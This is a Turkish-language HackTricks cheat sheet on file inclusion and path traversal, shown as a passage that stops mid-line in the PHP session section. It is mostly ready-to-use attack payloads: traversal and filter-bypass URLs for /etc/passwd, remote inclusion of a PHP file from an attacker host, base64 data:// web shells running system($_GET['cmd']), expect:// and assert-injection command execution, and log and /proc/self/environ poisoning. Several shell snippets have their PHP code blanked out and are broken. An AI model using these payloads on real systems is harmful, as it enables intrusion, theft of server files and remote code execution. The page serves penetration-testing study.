# Dosya Dahil Etme/Yol Geçişi
AWS hacklemeyi sıfırdan ileri seviyeye öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'de **takip edin**.
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hackleme İçgörüleri**\
Hackleme heyecanını ve zorluklarını ele alan içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\
Hızla değişen hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
**En Son Duyurular**\
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
## Dosya Dahil Etme
**Uzak Dosya Dahil Etme (RFI):** Dosya uzak sunucudan yüklenir (En İyi: Kodu yazabilir ve sunucu onu yürütür). Php'de bu varsayılan olarak **devre dışı bırakılmıştır** (**allow\_url\_include**).\
**Yerel Dosya Dahil Etme (LFI):** Sunucu yerel bir dosyayı yükler.
Bu zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebildiği durumlarda ortaya çıkar.
Zarar görebilecek **PHP fonksiyonları**: require, require\_once, include, include\_once
Bu zafiyeti sömürmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Kör - İlginç - LFI2RCE dosyaları
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Çeşitli \*nix LFI listelerini karıştırarak ve daha fazla yol ekleyerek şunu oluşturdum:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Ayrıca `/` yerine `\` kullanmayı deneyin\
Ayrıca `../../../../../` eklemeyi deneyin
Vulnerabilite varlığını kontrol etmek için /etc/password dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) bulunabilir.
### **Windows**
Farklı wordlistelerin birleşimi:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Ayrıca `/` yerine `\` kullanmayı deneyin\
Ayrıca `C:/`'yi kaldırıp `../../../../../` eklemeyi deneyin
Vulnerabilite varlığını kontrol etmek için /boot.ini dosyasını bulmak için çeşitli teknikler kullanan bir liste [burada](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) bulunabilir.
### **OS X**
Linux'un LFI listesini kontrol edin.
## Temel LFI ve bypasslar
Tüm örnekler Yerel Dosya Dahil etme için olsa da, Uzak Dosya Dahil etme için de uygulanabilir (sayfa=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
```
http://example.com/index.php?page=../../../etc/passwd
```
### yinelemesiz olarak sıralanmış geçiş dizileri
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Sağlanan dizenin sonuna daha fazla karakter ekleyerek atlayın (atlatma: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Bu, **PHP 5.4'ten beri çözülmüştür**
### **Kodlama**
Çift URL kodlaması gibi standart olmayan kodlamaları kullanabilirsiniz:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### Var olan klasörden
Belki de arka uç, klasör yolunu kontrol ediyor:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Sunucudaki Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, belirli teknikleri kullanarak sadece dosyaları değil, dizinleri de keşfetmek için özyinelemeli olarak taranabilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Aşağıda bunu başarmak için detaylı bir yöntem bulunmaktadır:
1. **Dizin Derinliğini Belirleme:** Mevcut dizinin derinliğini belirlemek için `/etc/passwd` dosyasını başarılı bir şekilde alarak (sunucu Linux tabanlıysa geçerlidir) dizin derinliğinizi belirleyin. Örnek bir URL şu şekilde yapılandırılmış olabilir, üç derinlik belirten:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Klasörleri Araştırma:** URL'ye şüphelenilen klasörün adını (örneğin, `private`) ekleyin, ardından `/etc/passwd` dizinine geri gidin. Ek klasör seviyesi, derinliği bir artırmayı gerektirir:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Sonuçları Yorumlayın:** Sunucunun yanıtı, klasörün varlığını gösterir:
* **Hata / Çıktı Yok:** `private` klasörünün belirtilen konumda muhtemelen mevcut olmadığını gösterir.
* **`/etc/passwd` Dosyasının İçeriği:** `private` klasörünün varlığı doğrulanmıştır.
4. **Recursive Keşif:** Keşfedilen klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla incelenebilir.
Dosya sisteminde farklı konumlardaki dizinleri keşfetmek için yükü uygun şekilde ayarlayın. Örneğin, `/var/www/` dizininde `private` adlı bir dizin olup olmadığını kontrol etmek için (mevcut dizinin 3 derinliğinde olduğunu varsayarak) kullanın:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Yol Kısaltma Tekniği**
Yol kısaltma, web uygulamalarındaki dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, belirli güvenlik önlemlerini atlayarak dosya yollarının sonuna ek karakterler ekleyen bazı güvenlik önlemlerini atlamak için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde hala istenen dosyaya işaret eden bir dosya yolunu oluşturmaktır.
PHP'de, bir dosya yolunun çeşitli temsilleri, dosya sisteminin doğası gereği eşdeğer kabul edilebilir. Örneğin:
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` tümü aynı yol olarak kabul edilir.
* Son 6 karakter `passwd` ise, bir `/` eklemek (`passwd/` yapmak) hedeflenen dosyayı değiştirmez.
* Benzer şekilde, bir dosya yoluna `.php` eklenirse (örneğin `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez.
Sağlanan örnekler, `/etc/passwd`'ye erişmek için yol kısaltmayı nasıl kullanacağınızı göstermektedir, bu hassas içeriğe (kullanıcı hesap bilgileri) sahip yaygın bir hedeftir:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
```
```
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Bu senaryolarda, gereken geçiş sayısı yaklaşık olarak 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
* **Nokta Segmentleri ve Ek Karakterler Kullanarak**: Geçiş dizileri (`../`), ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, bu sayede sunucu tarafından eklenen dizeleri yoksayarak istenilen yolu (`/etc/passwd`) koruyabilirsiniz.
* **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'ye gezinmek için gereken `../` dizilerinin kesin sayısını bulabilirsiniz, böylece eklenen dizelerin (örneğin `.php`) etkisiz hale getirildiğinden emin olabilirsiniz.
* **Sahte Bir Dizinle Başlamak**: Yolun başlangıcını mevcut olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığını karşılamak için kullanılır.
Yol kırpma tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamanız önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve genellikle en etkili yöntemi bulmak için test yapmak gereklidir.
**Bu zayıflık PHP 5.3'te düzeltildi.**
### **Filtre atlatma hileleri**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
```
## Uzak Dosya Dahil Etme
Php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalıdır.** Çalışması için **Açık** olmalıdır ve bu durumda sunucunuzdan bir PHP dosyasını dahil edebilir ve Uzaktan Kod Çalıştırma (RCE) elde edebilirsiniz:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
Eğer bir nedenden dolayı **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu yazıya](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile bir b64 PHP kodunu çözmek ve RCE elde etmek için data protokolünü kullanabilirsiniz:
{% code overflow="wrap" %}
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
{% endcode %}
{% hint style="info" %}
Önceki kodda, saldırganın `.txt` ile biten bir dizeye ihtiyacı olduğu için, dize onunla biter ve b64 decode'dan sonra bu kısım sadece gereksiz veri döndürecektir ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, yürütülecektir).
{% endhint %}
`php://` protokolünü **kullanmayan başka bir örnek** şöyle olabilir:
{% code overflow="wrap" %}
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
{% endcode %}
## Python Kök öğesi
Python'da şu gibi bir kodda:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Eğer kullanıcı **`file_name`**'e bir **mutlak yol** geçirirse, **önceki yol sadece kaldırılır**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
İlgili davranış [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre şu şekildedir:
> Bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.
## Java Dizinleri Listeleme
Java'da bir Yol Traversal'ı olduğunda ve bir **dizin istendiğinde**, bir **dizin listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) gerçekleşmeyecektir.
## En İyi 25 Parametre
İşte yerel dosya dahil etme (LFI) açıklıklarına karşı savunmasız olabilecek en iyi 25 parametre listesi ([bağlantıdan](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## PHP sargılayıcıları ve protokolleri kullanarak LFI / RFI
### php://filter
PHP filtreleri, veriler üzerinde **temel değiştirme işlemlerini** gerçekleştirmeyi sağlar. 5 kategoriye ayrılırlar:
* [Dize Filtreleri](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Veriden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
* Bu filtre modern PHP sürümlerinden kaybolmuştur
* [Dönüşüm Filtreleri](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
* `convert.base64-decode`
* `convert.quoted-printable-encode`
* `convert.quoted-printable-decode`
* `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv..<çıkış_kod>`) . Desteklenen **tüm kodlamaların listesini** almak için konsolda çalıştırın: `iconv -l`
{% hint style="warning" %}
`convert.iconv.*` dönüşüm filtresini kötüye kullanarak **keyfi metinler oluşturabilirsiniz**, bu da keyfi metinler yazmak veya keyfi metin işlemleri yapmak için faydalı olabilir. Daha fazla bilgi için [**php filtreleri aracılığıyla LFI2RCE**](lfi2rce-via-php-filters.md)'ye bakın.
{% endhint %}
* [Sıkıştırma Filtreleri](https://www.php.net/manual/en/filters.compression.php)
* `zlib.deflate`: İçeriği sıkıştırır (birçok bilgiyi dışarı çıkarırken faydalıdır)
* `zlib.inflate`: Veriyi açar
* [Şifreleme Filtreleri](https://www.php.net/manual/en/filters.encryption.php)
* `mcrypt.*` : Kullanımdan kaldırıldı
* `mdecrypt.*` : Kullanımdan kaldırıldı
* Diğer Filtreler
* Php'de çalıştırarak `var_dump(stream_get_filters());` birkaç **beklenmeyen filtre** bulabilirsiniz:
* `consumed`
* `dechunk`: HTTP parçalı kodlamayı tersine çevirir
* `convert.*`
```php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,Boldlalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
{% hint style="warning" %}
"php://filter" kısmı harf büyüklüğüne duyarsızdır
{% endhint %}
### Php filtrelerini oracle olarak kullanarak keyfi dosyaları okuma
[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunucudan geri dönen çıktı olmadan yerel bir dosyayı okumak için bir teknik önerilmektedir. Bu teknik, **php filtrelerini oracle olarak kullanarak dosyanın (karakter karakter) keyfi bir şekilde dışa aktarılmasına dayanmaktadır**. Bu, php filtrelerinin bir metni yeterince büyük yapmak için kullanılabileceği ve php'nin bir istisna fırlatmasına neden olabileceği anlamına gelir.
Orijinal yazıda teknik detaylı bir şekilde açıklanmaktadır, ancak işte hızlı bir özet:
* Metnin başındaki karakteri bırakmak için **`UCS-4LE`** kodlamasını kullanın ve dize boyutunu üssel olarak artırın.
* Bu, **başlangıç harfi doğru tahmin edildiğinde php'nin bir hata fırlatacağı kadar büyük bir metin oluşturmak için kullanılacaktır**
* **Dechunk** filtresi, **ilk karakterin onaltılık olmadığında her şeyi kaldırır**, bu nedenle ilk karakterin onaltılık olup olmadığını bilebiliriz.
* Bu, öncekiyle birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemize izin verecektir, çünkü yeterli dönüşüm yapıldığında onun onaltılık bir karakter olmadığını görebiliriz. Çünkü eğer onaltılıksa, dechunk onu silmeyecek ve başlangıç bombası php hatasına neden olacaktır.
* **convert.iconv.UNICODE.CP930** kodlayıcısı her harfi bir sonraki harfe dönüştürür (bu nedenle bu kodlayıcıdan sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar çünkü 6 kez bu kodlayıcıyı uygularsak a->b->c->d->e->f->g harfi artık onaltılık bir karakter olmaz, bu nedenle dechunk onu silmez ve php hatası başlatılır çünkü başlangıç bombası ile çarpılır.
* Başlangıçta **rot13** gibi diğer dönüşümleri kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer kodlayıcılar diğer harfleri onaltılık aralığa taşımak için kullanılabilir).
* Başlangıç karakteri bir sayı ise, onu base64 kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
* **Daha fazla veri sızdırmak için** sorun, **başlangıç harfinden fazlasını nasıl sızdıracağımızı görmektir**. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıra belleği filtrelerini kullanarak karakterlerin sırasını değiştirmek ve metnin ilk pozisyonunda diğer harfleri almak mümkündür.
* Ve **daha fazla veri elde etmek** için fikir, **başlangıçta 2 byte'lık gereksiz veri oluşturmak** için **convert.iconv.UTF16.UTF16** kullanmak, bunu **UCS-4LE** uygulamak ve **bir sonraki 2 byte ile dönüştürmek** ve gereksiz veriye kadar veriyi silmek (bu, başlangıç metninin ilk 2 byte'ını kaldıracaktır). İstenen biti sızdırmak için bu işlemi istenen biti sızdırana kadar tekrarlayın.
Yazıda bunu otomatik olarak gerçekleştirmek için bir araç de sızdırıldı: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
### php://fd
Bu sarmalayıcı, işlemin açık olan dosya tanımlayıcılarına erişim sağlar. Açık dosyaların içeriğini sızdırmak için potansiyel olarak kullanışlı olabilir:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Ayrıca **php://stdin, php://stdout ve php://stderr** kullanarak sırasıyla **dosya tanımlayıcıları 0, 1 ve 2'ye** erişebilirsiniz (bu nasıl bir saldırıda kullanılabilir emin değilim)
### zip:// ve rar://
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişim sağlayın.\
Rar protokolünü istismar edebilmek için **özellikle etkinleştirilmesi gerekir**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
data://, veri dosyalarına erişmek için kullanılan bir URI şemasıdır. Bu şema, web uygulamalarında dosya erişiminde kullanılan bir tekniktir. Veri URI'sı, web sayfalarında gömülü verileri temsil etmek için de kullanılabilir.
```
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain,
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
Bu protokolün php yapılandırmaları tarafından kısıtlandığını unutmayın **`allow_url_open`** ve **`allow_url_include`**
### expect://
Expect etkinleştirilmelidir. Bunu kullanarak kodu yürütebilirsiniz:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
POST parametrelerindeki yükünüzü belirtin:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi işlevleri kullandığında PHP kodunu yürütmek için kullanılabilir. Aşağıdaki PHP kod parçacığı, bir `.phar` dosyası oluşturmayı göstermektedir:
```php
startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
$phar->stopBuffering();
```
`.phar` dosyasını derlemek için aşağıdaki komutu çalıştırmalısınız:
```bash
php --define phar.readonly=0 create_path.php
```
Uygulandığında, `test.phar` adında bir dosya oluşturulur, bu da Potansiyel olarak Yerel Dosya Dahil Etme (LFI) zafiyetlerini sömürmek için kullanılabilir.
LFI'nin yalnızca `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi işlevler aracılığıyla PHP kodunu çalıştırmadan dosya okuma işlemi gerçekleştirdiği durumlarda, bir deserializasyon zafiyetinin sömürülmesi denenebilir. Bu zafiyet, dosyaların `phar` protokolü kullanılarak okunmasıyla ilişkilidir.
`.phar` dosyalarının bağlamında deserializasyon zafiyetlerini sömürme konusunda detaylı bir anlayış için aşağıdaki belgeye başvurun:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
{% content-ref url="phar-deserialization.md" %}
[phar-deserialization.md](phar-deserialization.md)
{% endcontent-ref %}
### Daha fazla protokol
Daha fazla olası [**buraya dahil edilebilecek protokoller**](https://www.php.net/manual/en/wrappers.php)**'i kontrol edin:**
* [php://memory ve php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Bellekte veya geçici bir dosyada yazma (bu nasıl bir dosya dahil etme saldırısında kullanışlı olabilir emin değilim)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim
* [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma Akışları
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Deseni eşleşen dosya yollarını bulma (Yazdırılabilir bir şey döndürmediği için burada gerçekten kullanışlı değil)
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Güvenli Kabuk 2
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Keyfi dosyaları okumak için kullanışlı değil)
## PHP'nin 'assert' İle LFI
PHP'de Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kodu çalıştırabilen 'assert' işleviyle uğraşırken özellikle yüksektir. Bu özellikle, dizin gezintisi karakterleri içeren ".." gibi girişlerin kontrol edildiği ancak uygun şekilde temizlenmediği durumlarda sorun oluşturabilir.
Örneğin, PHP kodu, dizin gezintisinin engellenmesi için aşağıdaki gibi tasarlanmış olabilir:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bu, traversal'ı durdurmayı amaçlasa da, yanlışlıkla kod enjeksiyonu için bir vektör oluşturur. Dosya içeriğini okumak için bunu sömürmek için bir saldırgan şunları kullanabilir:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Benzer şekilde, keyfi sistem komutlarını yürütmek için şunu kullanabilirsiniz:
```plaintext
' and die(system("id")) or '
```
**Payloadları URL kodlamayı unutmamak önemlidir**.
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking İçgörüleri**\
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\
Gerçek zamanlı haberler ve içgörüler aracılığıyla hızlı tempolu hacking dünyasında güncel kalın
**En Son Duyurular**\
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi edinin
**Bize** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **katılın ve bugün en iyi hackerlarla işbirliğine başlayın!**
## PHP Kör Yol Geçişi
{% hint style="warning" %}
Bu teknik, bir dosyaya erişecek bir **PHP işlevinin dosya yolunu kontrol ettiğiniz** ancak dosyanın içeriğini görmeyeceğiniz durumlarda önemlidir (örneğin basit bir **`file()`** çağrısı gibi) ancak içerik gösterilmez.
{% endhint %}
Bu [**inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) kör yol geçişinin bir PHP filtresi aracılığıyla nasıl kötüye kullanılabileceği açıklanmaktadır ve bir hata orak aracılığıyla bir dosyanın içeriğinin nasıl dışarı sızdırılabileceği anlatılmaktadır.
Özetle, teknik dosyanın içeriğini **büyük** hale getirmek için **"UCS-4LE" kodlamasının** kullanılmasıdır, böylece dosyayı açan **PHP işlevi bir hata tetikler**.
Daha sonra, ilk karakteri sızdırmak için filtre **`dechunk`** kullanılır ve son olarak **base64** veya **rot13** gibi diğer filtrelerle birlikte **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri kullanılarak **diğer karakterlerin başına yerleştirilir ve sızdırılır**.
**Zarar görebilecek işlevler**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (yalnızca bununla salt okunur hedef)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Teknik detaylar için belirtilen yazıya bakın!
## LFI2RCE
### Uzak Dosya Dahil Etme
Daha önce açıklandığı gibi, [**bu bağlantıyı takip edin**](./#remote-file-inclusion).
### Apache/Nginx günlük dosyası üzerinden
Eğer Apache veya Nginx sunucusu **LFI'ye duyarlıysa** ve dahil etme işlevi içinde **`/var/log/apache2/access.log` veya `/var/log/nginx/access.log`**'a erişmeye çalışabilirsiniz, **kullanıcı ajanı** içine veya bir **GET parametresi** içine **``** gibi bir php shell yerleştirin ve o dosyayı dahil edin
{% hint style="warning" %}
**Shell için basit tırnaklar** yerine **çift tırnaklar** kullanırsanız, çift tırnaklar "_**quote;**_" dizesi için değiştirilecek, **PHP burada bir hata fırlatacak** ve **başka bir şey yürütülmeyecek**.
Ayrıca, **payload'ı doğru şekilde yazdığınızdan** emin olun, aksi takdirde PHP her log dosyasını yüklemeye çalıştığında hata verecek ve ikinci bir fırsatınız olmayacak.
{% endhint %}
Bu ayrıca diğer günlük dosyalarında da yapılabilir ancak **dikkatli olun**, günlük dosyalarındaki kod URL kodlanmış olabilir ve bu Shell'i yok edebilir. **Yetkilendirme "basic"** başlığı Base64'te "kullanıcı:şifre" içerir ve günlük dosyalarında çözülür. PHPShell bu başlığın içine yerleştirilebilir.\
Diğer olası günlük yolları:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing kelime listesi: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### E-posta Aracılığıyla
**Bir e-posta** gönderin ve PHP yüklemenizi içeren bir içerik ekleyin, örneğin ``, ve bu içeriği kullanıcı e-postasına şu şekilde dahil etmeyi deneyin: **`/var/mail/`** veya **`/var/spool/mail/`**
### /proc/\*/fd/\* Aracılığıyla
1. Birçok shell yükleyin (örneğin: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) adresini dahil edin, burada $PID = işlemin PID'si (kaba kuvvet saldırısı ile bulunabilir) ve $FD dosya tanımlayıcısıdır (bu da kaba kuvvet saldırısı ile bulunabilir)
### /proc/self/environ Aracılığıyla
Bir günlük dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyasında yansıtılacaktır
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
### Yükleme Yoluyla
Dosya yükleyebiliyorsanız, sadece kabuk yüklemesini içine enjekte edin (örneğin: ``).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Dosyayı okunabilir tutmak için en iyi yol resimlerin/dokümanların/metin belgelerinin meta verilerine enjekte etmektir.
### Zip dosyası yükleme yoluyla
PHP kabuğunu içeren sıkıştırılmış bir ZIP dosyası yükleyin ve erişin:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### PHP oturumları aracılığıyla
Websitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin.
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
PHP'de bu oturumlar _/var/lib/php5/sess\\_\[PHPSESSID]\_ dosyalarına kaydedilir.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
